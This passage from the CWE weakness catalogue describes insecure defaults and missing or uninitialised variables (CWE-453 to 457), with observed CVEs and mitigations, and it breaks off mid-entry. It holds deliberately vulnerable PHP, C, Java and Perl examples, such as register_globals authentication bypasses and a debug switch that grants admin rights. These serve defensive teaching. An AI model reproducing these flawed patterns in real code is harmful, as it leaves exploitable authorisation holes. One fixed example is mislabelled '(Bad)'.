The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		221	Information Loss or Omission	531
ChildOf		684	Incorrect Provision of Specified Functionality	1410
ParentOf		1007	Insufficient Visual Distinction of Homoglyphs Presented to User	1724
ParentOf		1021	Improper Restriction of Rendered UI Layers or Frames	1727
PeerOf		346	Origin Validation Error	808

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Non-Repudiation	Hide Activities	
Access Control	Bypass Protection Mechanism	

## Potential Mitigations

### Phase: Implementation

*Strategy = Input Validation*

Perform data validation (e.g. syntax, length, etc.) before interpreting the data.

### Phase: Architecture and Design

*Strategy = Output Encoding*

Create a strategy for presenting information, and plan for how to display unusual characters.

## Observed Examples

Reference	Description
<b>CVE-2004-2227</b>	Web browser's filename selection dialog only shows the beginning portion of long filenames, which can trick users into launching executables with dangerous extensions. <a href="https://www.cve.org/CVERecord?id=CVE-2004-2227">https://www.cve.org/CVERecord?id=CVE-2004-2227</a>
<b>CVE-2001-0398</b>	Attachment with many spaces in filename bypasses "dangerous content" warning and uses different icon. Likely resultant.

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2001-0398">https://www.cve.org/CVERecord?id=CVE-2001-0398</a>
<b>CVE-2001-0643</b>	Misrepresentation and equivalence issue. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0643">https://www.cve.org/CVERecord?id=CVE-2001-0643</a>
<b>CVE-2005-0593</b>	Lock spoofing from several different weaknesses. <a href="https://www.cve.org/CVERecord?id=CVE-2005-0593">https://www.cve.org/CVERecord?id=CVE-2005-0593</a>
<b>CVE-2004-1104</b>	Incorrect indicator: web browser can be tricked into presenting the wrong URL <a href="https://www.cve.org/CVERecord?id=CVE-2004-1104">https://www.cve.org/CVERecord?id=CVE-2004-1104</a>
<b>CVE-2005-0143</b>	Incorrect indicator: Lock icon displayed when an insecure page loads a binary file loaded from a trusted site. <a href="https://www.cve.org/CVERecord?id=CVE-2005-0143">https://www.cve.org/CVERecord?id=CVE-2005-0143</a>
<b>CVE-2005-0144</b>	Incorrect indicator: Secure "lock" icon is presented for one channel, while an insecure page is being simultaneously loaded in another channel. <a href="https://www.cve.org/CVERecord?id=CVE-2005-0144">https://www.cve.org/CVERecord?id=CVE-2005-0144</a>
<b>CVE-2004-0761</b>	Incorrect indicator: Certain redirect sequences cause security lock icon to appear in web browser, even when page is not encrypted. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0761">https://www.cve.org/CVERecord?id=CVE-2004-0761</a>
<b>CVE-2004-2219</b>	Incorrect indicator: Spoofing via multi-step attack that causes incorrect information to be displayed in browser address bar. <a href="https://www.cve.org/CVERecord?id=CVE-2004-2219">https://www.cve.org/CVERecord?id=CVE-2004-2219</a>
<b>CVE-2004-0537</b>	Overlay: Wide "favorites" icon can overlay and obscure address bar <a href="https://www.cve.org/CVERecord?id=CVE-2004-0537">https://www.cve.org/CVERecord?id=CVE-2004-0537</a>
<b>CVE-2005-2271</b>	Visual distinction: Web browsers do not clearly associate a Javascript dialog box with the web page that generated it, allowing spoof of the source of the dialog. "origin validation error" of a sort? <a href="https://www.cve.org/CVERecord?id=CVE-2005-2271">https://www.cve.org/CVERecord?id=CVE-2005-2271</a>
<b>CVE-2005-2272</b>	Visual distinction: Web browsers do not clearly associate a Javascript dialog box with the web page that generated it, allowing spoof of the source of the dialog. "origin validation error" of a sort? <a href="https://www.cve.org/CVERecord?id=CVE-2005-2272">https://www.cve.org/CVERecord?id=CVE-2005-2272</a>
<b>CVE-2005-2273</b>	Visual distinction: Web browsers do not clearly associate a Javascript dialog box with the web page that generated it, allowing spoof of the source of the dialog. "origin validation error" of a sort? <a href="https://www.cve.org/CVERecord?id=CVE-2005-2273">https://www.cve.org/CVERecord?id=CVE-2005-2273</a>
<b>CVE-2005-2274</b>	Visual distinction: Web browsers do not clearly associate a Javascript dialog box with the web page that generated it, allowing spoof of the source of the dialog. "origin validation error" of a sort? <a href="https://www.cve.org/CVERecord?id=CVE-2005-2274">https://www.cve.org/CVERecord?id=CVE-2005-2274</a>
<b>CVE-2001-1410</b>	Visual distinction: Browser allows attackers to create chromeless windows and spoof victim's display using unprotected Javascript method. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1410">https://www.cve.org/CVERecord?id=CVE-2001-1410</a>
<b>CVE-2002-0197</b>	Visual distinction: Chat client allows remote attackers to spoof encrypted, trusted messages with lines that begin with a special sequence, which makes the message appear legitimate. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0197">https://www.cve.org/CVERecord?id=CVE-2002-0197</a>
<b>CVE-2005-0831</b>	Visual distinction: Product allows spoofing names of other users by registering with a username containing hex-encoded characters. <a href="https://www.cve.org/CVERecord?id=CVE-2005-0831">https://www.cve.org/CVERecord?id=CVE-2005-0831</a>
<b>CVE-2003-1025</b>	Visual truncation: Special character in URL causes web browser to truncate the user portion of the "user@domain" URL, hiding real domain in the address bar. <a href="https://www.cve.org/CVERecord?id=CVE-2003-1025">https://www.cve.org/CVERecord?id=CVE-2003-1025</a>

Reference	Description
<b>CVE-2005-0243</b>	Visual truncation: Chat client does not display long filenames in file dialog boxes, allowing dangerous extensions via manipulations including (1) many spaces and (2) multiple file extensions. <a href="https://www.cve.org/CVERecord?id=CVE-2005-0243">https://www.cve.org/CVERecord?id=CVE-2005-0243</a>
<b>CVE-2005-1575</b>	Visual truncation: Web browser file download type can be hidden using whitespace. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1575">https://www.cve.org/CVERecord?id=CVE-2005-1575</a>
<b>CVE-2004-2530</b>	Visual truncation: Visual truncation in chat client using whitespace to hide dangerous file extension. <a href="https://www.cve.org/CVERecord?id=CVE-2004-2530">https://www.cve.org/CVERecord?id=CVE-2004-2530</a>
<b>CVE-2005-0590</b>	Visual truncation: Dialog box in web browser allows user to spoof the hostname via a long "user:pass" sequence in the URL, which appears before the real hostname. <a href="https://www.cve.org/CVERecord?id=CVE-2005-0590">https://www.cve.org/CVERecord?id=CVE-2005-0590</a>
<b>CVE-2004-1451</b>	Visual truncation: Null character in URL prevents entire URL from being displayed in web browser. <a href="https://www.cve.org/CVERecord?id=CVE-2004-1451">https://www.cve.org/CVERecord?id=CVE-2004-1451</a>
<b>CVE-2004-2258</b>	Miscellaneous -- [step-based attack, GUI] -- Password-protected tab can be bypassed by switching to another tab, then back to original tab. <a href="https://www.cve.org/CVERecord?id=CVE-2004-2258">https://www.cve.org/CVERecord?id=CVE-2004-2258</a>
<b>CVE-2005-1678</b>	Miscellaneous -- Dangerous file extensions not displayed. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1678">https://www.cve.org/CVERecord?id=CVE-2005-1678</a>
<b>CVE-2002-0722</b>	Miscellaneous -- Web browser allows remote attackers to misrepresent the source of a file in the File Download dialog box. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0722">https://www.cve.org/CVERecord?id=CVE-2002-0722</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	995	SFP Secondary Cluster: Feature	888	2211
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2284
MemberOf	C	1379	ICS Operations (& Maintenance): Human factors in ICS environments	1358	2305

### Notes

#### Maintenance

This entry should be broken down into more precise entries. See extended description.

#### Research Gap

Misrepresentation problems are frequently studied in web browsers, but there are no known efforts for classifying these kinds of problems in terms of the shortcomings of the interface. In addition, many misrepresentation issues are resultant.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			UI Misrepresentation of Critical Information

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
98	Phishing
154	Resource Location Spoofing
163	Spear Phishing
164	Mobile Phishing
173	Action Spoofing

## References

[REF-434]David Wheeler. "Secure Programming for Linux and Unix HOWTO". 2003 March 3. <  
<http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/semantic-attacks.html> >.

## CWE-453: Insecure Default Variable Initialization

**Weakness ID** : 453

**Structure** : Simple

**Abstraction** : Variant

### Description

The product, by default, initializes an internal variable with an insecure or less secure value than is possible.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1188	Insecure Default Initialization of Resource	1828

### Applicable Platforms

**Language** : PHP (*Prevalence = Sometimes*)

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data  <i>An attacker could gain access to and modify sensitive data or system information.</i>	

### Potential Mitigations

#### Phase: System Configuration

Disable or change default settings when they can be used to abuse the system. Since those default settings are shipped with the product they are likely to be known by a potential attacker who is familiar with the product. For instance, default credentials should be changed or the associated accounts should be disabled.

### Demonstrative Examples

#### Example 1:

This code attempts to login a user using credentials from a POST request:

*Example Language: PHP*

*(Bad)*

```
// $user and $pass automatically set from POST request
if (login_user($user,$pass)) {
    $authorized = true;
}
...
if ($authorized) {
    generatePage();
}
```

Because the \$authorized variable is never initialized, PHP will automatically set \$authorized to any value included in the POST request if register\_globals is enabled. An attacker can send a POST request with an unexpected third value 'authorized' set to 'true' and gain authorized status without supplying valid credentials.

Here is a fixed version:

Example Language: PHP

(Bad)

```
$user = $_POST['user'];
$pass = $_POST['pass'];
$authorized = false;
if (login_user($user,$pass)) {
    $authorized = true;
}
...

```

This code avoids the issue by initializing the \$authorized variable to false and explicitly retrieving the login credentials from the \$\_POST variable. Regardless, register\_globals should never be enabled and is disabled by default in current versions of PHP.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	966	SFP Secondary Cluster: Other Exposures	888	2196

### Notes

#### Maintenance

This overlaps other categories, probably should be split into separate items.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Insecure default variable initialization

## CWE-454: External Initialization of Trusted Variables or Data Stores

**Weakness ID :** 454

**Structure :** Simple

**Abstraction :** Base

### Description

The product initializes critical internal variables or data stores using inputs that can be modified by untrusted actors.

### Extended Description





A product system should be reluctant to trust variables that have been initialized outside of its trust boundary, especially if they are initialized by users. The variables may have been initialized incorrectly. If an attacker can initialize the variable, then they can influence what the vulnerable system will do.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		665	Improper Initialization	1368
CanAlsoBe		456	Missing Initialization of a Variable	1029

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		452	Initialization and Cleanup Errors	2120

## Applicable Platforms

**Language** : PHP (*Prevalence = Sometimes*)

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data  <i>An attacker could gain access to and modify sensitive data or system information.</i>	

## Potential Mitigations

### Phase: Implementation

*Strategy = Input Validation*

A product system should be reluctant to trust variables that have been initialized outside of its trust boundary. Ensure adequate checking (e.g. input validation) is performed when relying on input from outside a trust boundary.

### Phase: Architecture and Design

Avoid any external control of variables. If necessary, restrict the variables that can be modified using an allowlist, and use a different namespace or naming convention if possible.

## Demonstrative Examples

### Example 1:

In the Java example below, a system property controls the debug level of the application.

*Example Language: Java*

*(Bad)*

```
int debugLevel = Integer.getInteger("com.domain.application.debugLevel").intValue();
```

If an attacker is able to modify the system property, then it may be possible to coax the application into divulging sensitive information by virtue of the fact that additional debug information is printed/exposed as the debug level increases.

### Example 2:



This code checks the HTTP POST request for a debug switch, and enables a debug mode if the switch is set.

Example Language: PHP

(Bad)

```
$debugEnabled = false;
if ($_POST["debug"] == "true"){
    $debugEnabled = true;
}
.../
function login($username, $password){
    if($debugEnabled){
        echo 'Debug Activated';
        phpinfo();
        $isAdmin = True;
        return True;
    }
}
```

Any user can activate the debug mode, gaining administrator privileges. An attacker may also use the information printed by the phpinfo() function to further exploit the system. .





This example also exhibits Information Exposure Through Debug Information (CWE-215)

### Observed Examples

Reference	Description
<b>CVE-2000-0959</b>	Does not clear dangerous environment variables, enabling symlink attack. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0959">https://www.cve.org/CVERecord?id=CVE-2000-0959</a>
<b>CVE-2001-0033</b>	Specify alternate configuration directory in environment variable, enabling untrusted path. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0033">https://www.cve.org/CVERecord?id=CVE-2001-0033</a>
<b>CVE-2001-0872</b>	Dangerous environment variable not cleansed. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0872">https://www.cve.org/CVERecord?id=CVE-2001-0872</a>
<b>CVE-2001-0084</b>	Specify arbitrary modules using environment variable. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0084">https://www.cve.org/CVERecord?id=CVE-2001-0084</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		808	2010 Top 25 - Weaknesses On the Cusp		2149
MemberOf		884	CWE Cross-section		2327
MemberOf		994	SFP Secondary Cluster: Tainted Input to Variable		2210

### Notes

#### Relationship

Overlaps Missing variable initialization, especially in PHP.

#### Applicable Platform

This is often found in PHP due to register\_globals and the common practice of storing library/include files under the web document root so that they are available using a direct request.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			External initialization of trusted variables or values

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP25		Tainted input to variable

## CWE-455: Non-exit on Failed Initialization

**Weakness ID** : 455

**Structure** : Simple

**Abstraction** : Base

### Description

The product does not exit or otherwise modify its operation when security-relevant errors occur during initialization, such as when a configuration file has a format error or a hardware security module (HSM) cannot be activated, which can cause the product to execute in a less secure fashion than intended by the administrator.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		636	Not Failing Securely ('Failing Open')	1318
ChildOf		665	Improper Initialization	1368
ChildOf		705	Incorrect Control Flow Scoping	1437

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		452	Initialization and Cleanup Errors	2120

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Other	Alter Execution Logic	
<p><i>The application could be placed in an insecure state that may allow an attacker to modify sensitive data or allow unintended logic to be executed.</i></p>		

### Potential Mitigations

#### Phase: Implementation

Follow the principle of failing securely when an error occurs. The system should enter a state where it is not vulnerable and will not display sensitive error messages to a potential attacker.

### Demonstrative Examples

#### Example 1:

The following code intends to limit certain operations to the administrator only.

*Example Language: Perl*

*(Bad)*

```
$username = GetCurrentUser();
$state = GetStateData($username);
```

```

if (defined($state)) {
    $uid = ExtractUserID($state);
}
# do stuff
if ($uid == 0) {
    DoAdminThings();
}

```

If the application is unable to extract the state information - say, due to a database timeout - then the \$uid variable will not be explicitly set by the programmer. This will cause \$uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.

### Observed Examples

Reference	Description
<b>CVE-2005-1345</b>	Product does not trigger a fatal error if missing or invalid ACLs are in a configuration file. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1345">https://www.cve.org/CVERecord?id=CVE-2005-1345</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	961	SFP Secondary Cluster: Incorrect Exception Behavior	888	2192

### Notes

#### Research Gap

Under-studied. These issues are not frequently reported, and it is difficult to find published examples.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Non-exit on Failed Initialization

## CWE-456: Missing Initialization of a Variable

**Weakness ID** : 456

**Structure** : Simple

**Abstraction** : Variant

### Description

The product does not initialize critical variables, which causes the execution environment to use unexpected values.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		909	Missing Initialization of Resource	1673
CanPrecede		89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	195
CanPrecede		98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	229
CanPrecede		120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	294
CanPrecede		457	Use of Uninitialized Variable	1034

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf		665	Improper Initialization	1368

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf		665	Improper Initialization	1368

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	
Other	Quality Degradation Varies by Context	
	<i>The uninitialized data may be invalid, causing logic errors within the program. In some cases, this could result in a security problem.</i>	

### Potential Mitigations

#### Phase: Implementation

Check that critical variables are initialized.

#### Phase: Testing

Use a static analysis tool to spot non-initialized variables.

### Demonstrative Examples

#### Example 1:

This function attempts to extract a pair of numbers from a user-supplied string.

*Example Language: C*

*(Bad)*

```
void parse_data(char *untrusted_input){
    int m, n, error;
    error = sscanf(untrusted_input, "%d:%d", &m, &n);
    if ( EOF == error ){
        die("Did not specify integer value. Die evil hacker!\n");
    }
    /* proceed assuming n and m are initialized correctly */
}
```

This code attempts to extract two integer values out of a formatted, user-supplied input. However, if an attacker were to provide an input of the form:

Example Language:

(Attack)

123:

then only the m variable will be initialized. Subsequent use of n may result in the use of an uninitialized variable (CWE-457).

**Example 2:**

Here, an uninitialized field in a Java class is used in a seldom-called method, which would cause a NullPointerException to be thrown.

Example Language: Java

(Bad)

```
private User user;
public void someMethod() {
    // Do something interesting.
    ...
    // Throws NPE if user hasn't been properly initialized.
    String username = user.getName();
}
```

**Example 3:**

This code first authenticates a user, then allows a delete command if the user is an administrator.

Example Language: PHP

(Bad)

```
if (authenticate($username,$password) && setAdmin($username)){
    $isAdmin = true;
}
.../
if ($isAdmin){
    deleteUser($userToDelete);
}
```

The \$isAdmin variable is set to true if the user is an admin, but is uninitialized otherwise. If PHP's register\_globals feature is enabled, an attacker can set uninitialized variables like \$isAdmin to arbitrary values, in this case gaining administrator privileges by setting \$isAdmin to true.

**Example 4:**

In the following Java code the BankManager class uses the user variable of the class User to allow authorized users to perform bank manager tasks. The user variable is initialized within the method setUser that retrieves the User from the User database. The user is then authenticated as unauthorized user through the method authenticateUser.

Example Language: Java

(Bad)

```
public class BankManager {
    // user allowed to perform bank manager tasks
    private User user = null;
    private boolean isUserAuthentic = false;
    // constructor for BankManager class
    public BankManager() {
        ...
    }
    // retrieve user from database of users
    public User getUserFromUserDatabase(String username){
        ...
    }
    // set user variable using username
    public void setUser(String username) {
        this.user = getUserFromUserDatabase(username);
    }
    // authenticate user
}
```

```

public boolean authenticateUser(String username, String password) {
    if (username.equals(user.getUsername()) && password.equals(user.getPassword())) {
        isUserAuthentic = true;
    }
    return isUserAuthentic;
}
// methods for performing bank manager tasks
...
}

```

However, if the method `setUser` is not called before `authenticateUser` then the `user` variable will not have been initialized and will result in a `NullPointerException`. The code should verify that the `user` variable has been initialized before it is used, as in the following code.

Example Language: Java

(Good)

```

public class BankManager {
    // user allowed to perform bank manager tasks
    private User user = null;
    private boolean isUserAuthentic = false;
    // constructor for BankManager class
    public BankManager(String username) {
        user = getUserFromUserDatabase(username);
    }
    // retrieve user from database of users
    public User getUserFromUserDatabase(String username) {...}
    // authenticate user
    public boolean authenticateUser(String username, String password) {
        if (user == null) {
            System.out.println("Cannot find user " + username);
        }
        else {
            if (password.equals(user.getPassword())) {
                isUserAuthentic = true;
            }
        }
        return isUserAuthentic;
    }
    // methods for performing bank manager tasks
    ...
}

```

### Example 5:

This example will leave `test_string` in an unknown condition when `i` is the same value as `err_val`, because `test_string` is not initialized (CWE-456). Depending on where this code segment appears (e.g. within a function body), `test_string` might be random if it is stored on the heap or stack. If the variable is declared in static memory, it might be zero or NULL. Compiler optimization might contribute to the unpredictability of this address.

Example Language: C

(Bad)

```

char *test_string;
if (i != err_val)
{
    test_string = "Hello World!";
}
printf("%s", test_string);

```

When the `printf()` is reached, `test_string` might be an unexpected address, so the `printf` might print junk strings (CWE-457).

To fix this code, there are a couple approaches to making sure that `test_string` has been properly set once it reaches the `printf()`.

One solution would be to set test\_string to an acceptable default before the conditional:

Example Language: C

(Good)

```
char *test_string = "Done at the beginning";
if (i != err_val)
{
    test_string = "Hello World!";
}
printf("%s", test_string);
```

Another solution is to ensure that each branch of the conditional - including the default/else branch - could ensure that test\_string is set:

Example Language: C

(Good)




```
char *test_string;
if (i != err_val)
{
    test_string = "Hello World!";
}
else {
    test_string = "Done on the other side!";
}
printf("%s", test_string);
```

## Observed Examples

Reference	Description
<b>CVE-2020-6078</b>	Chain: The return value of a function returning a pointer is not checked for success (CWE-252) resulting in the later use of an uninitialized variable (CWE-456) and a null pointer dereference (CWE-476) <a href="https://www.cve.org/CVERecord?id=CVE-2020-6078">https://www.cve.org/CVERecord?id=CVE-2020-6078</a>
<b>CVE-2009-2692</b>	Chain: Use of an unimplemented network socket operation pointing to an uninitialized handler function (CWE-456) causes a crash because of a null pointer dereference (CWE-476). <a href="https://www.cve.org/CVERecord?id=CVE-2009-2692">https://www.cve.org/CVERecord?id=CVE-2009-2692</a>
<b>CVE-2020-20739</b>	A variable that has its value set in a conditional statement is sometimes used when the conditional fails, sometimes causing data leakage <a href="https://www.cve.org/CVERecord?id=CVE-2020-20739">https://www.cve.org/CVERecord?id=CVE-2020-20739</a>
<b>CVE-2005-2978</b>	Product uses uninitialized variables for size and index, leading to resultant buffer overflow. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2978">https://www.cve.org/CVERecord?id=CVE-2005-2978</a>
<b>CVE-2005-2109</b>	Internal variable in PHP application is not initialized, allowing external modification. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2109">https://www.cve.org/CVERecord?id=CVE-2005-2109</a>
<b>CVE-2005-2193</b>	Array variable not initialized in PHP application, leading to resultant SQL injection. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2193">https://www.cve.org/CVERecord?id=CVE-2005-2193</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		808	2010 Top 25 - Weaknesses On the Cusp	800	2149
MemberOf		867	2011 Top 25 - Weaknesses On the Cusp	900	2166
MemberOf		884	CWE Cross-section	884	2327



Nature	Type	ID	Name	V	Page
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2212
MemberOf	C	1129	CISQ Quality Measures (2016) - Reliability	1128	2233
MemberOf	C	1131	CISQ Quality Measures (2016) - Security	1128	2235
MemberOf	C	1167	SEI CERT C Coding Standard - Guidelines 12. Error Handling (ERR)	1154	2254
MemberOf	C	1180	SEI CERT Perl Coding Standard - Guidelines 02. Declarations and Initialization (DCL)	1178	2258

## Notes

### Relationship

This weakness is a major factor in a number of resultant weaknesses, especially in web applications that allow global variable initialization (such as PHP) with libraries that can be directly requested.

### Research Gap

It is highly likely that a large number of resultant weaknesses have missing initialization as a primary factor, but researcher reports generally do not provide this level of detail.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Missing Initialization
Software Fault Patterns	SFP1		Glitch in computation
CERT C Secure Coding	ERR30-C	CWE More Abstract	Set errno to zero before calling a library function known to set errno, and check errno only after the function returns a value indicating failure
SEI CERT Perl Coding Standard	DCL04-PL	Exact	Always initialize local variables
SEI CERT Perl Coding Standard	DCL33-PL	Imprecise	Declare identifiers before using them
OMG ASCSM	ASCSM-CWE-456		
OMG ASCRM	ASCRM-CWE-456		

## References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < <http://www.omg.org/spec/ASCRM/1.0/> >.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < <http://www.omg.org/spec/ASCSM/1.0/> >.

## CWE-457: Use of Uninitialized Variable

**Weakness ID** : 457

**Structure** : Simple

**Abstraction** : Variant

### Description

The code uses a variable that has not been initialized, leading to unpredictable or unintended results.

## Extended Description

In some languages such as C and C++, stack variables are not initialized by default. They generally contain junk data with the contents of stack memory before the function was invoked. An attacker can sometimes control or read these contents. In other languages or conditions, a variable that is not explicitly initialized can be given a default value that has security implications, depending on the logic of the program. The presence of an uninitialized variable can sometimes indicate a typographic error in the code.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		908	Use of Uninitialized Resource	1669
CanFollow		456	Missing Initialization of a Variable	1029

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf		665	Improper Initialization	1368

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf		665	Improper Initialization	1368

## Applicable Platforms

**Language** : C (Prevalence = Sometimes)

**Language** : C++ (Prevalence = Sometimes)

**Language** : Perl (Prevalence = Often)

**Language** : PHP (Prevalence = Often)

**Language** : Not Language-Specific (Prevalence = Undetermined)

## Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Availability Integrity Other	Other  <i>Initial variables usually contain junk, which can not be trusted for consistency. This can lead to denial of service conditions, or modify control flow in unexpected ways. In some cases, an attacker can "pre-initialize" the variable using previous actions, which might enable code execution. This can cause a race condition if a lock variable check passes when it should not.</i>	
Authorization Other	Other  <i>Strings that are not initialized are especially dangerous, since many functions expect a null at the end -- and only at the end -- of a string.</i>	

## Potential Mitigations

**Phase: Implementation**

*Strategy = Attack Surface Reduction*  
Assign all variables to an initial value.

**Phase: Build and Compilation**

*Strategy = Compilation or Build Hardening*

Most compilers will complain about the use of uninitialized variables if warnings are turned on.

**Phase: Implementation**

**Phase: Operation**

When using a language that does not require explicit declaration of variables, run or compile the software in a mode that reports undeclared or unknown variables. This may indicate the presence of a typographic error in the variable's name.

**Phase: Requirements**

The choice could be made to use a language that is not susceptible to these issues.

**Phase: Architecture and Design**

Mitigating technologies such as safe string libraries and container abstractions could be introduced.

**Demonstrative Examples**

**Example 1:**

This code prints a greeting using information stored in a POST request:

*Example Language: PHP*

*(Bad)*

```
if (isset($_POST['names'])) {  
    $nameArray = $_POST['names'];  
}  
echo "Hello " . $nameArray['first'];
```

This code checks if the POST array 'names' is set before assigning it to the \$nameArray variable. However, if the array is not in the POST request, \$nameArray will remain uninitialized. This will cause an error when the array is accessed to print the greeting message, which could lead to further exploit.

**Example 2:**

The following switch statement is intended to set the values of the variables aN and bN before they are used:

*Example Language: C*

*(Bad)*

```
int aN, bN;  
switch (ctl) {  
    case -1:  
        aN = 0;  
        bN = 0;  
        break;  
    case 0:  
        aN = i;  
        bN = -i;  
        break;  
    case 1:  
        aN = i + NEXT_SZ;  
        bN = i - NEXT_SZ;  
        break;  
    default:  
        aN = -1;
```

```
    aN = -1;
    break;
}
repaint(aN, bN);
```

In the default case of the switch statement, the programmer has accidentally set the value of aN twice. As a result, bN will have an undefined value. Most uninitialized variable issues result in general software reliability problems, but if attackers can intentionally trigger the use of an uninitialized variable, they might be able to launch a denial of service attack by crashing the program. Under the right circumstances, an attacker may be able to control the value of an uninitialized variable by affecting the values on the stack prior to the invocation of the function.

### Example 3:

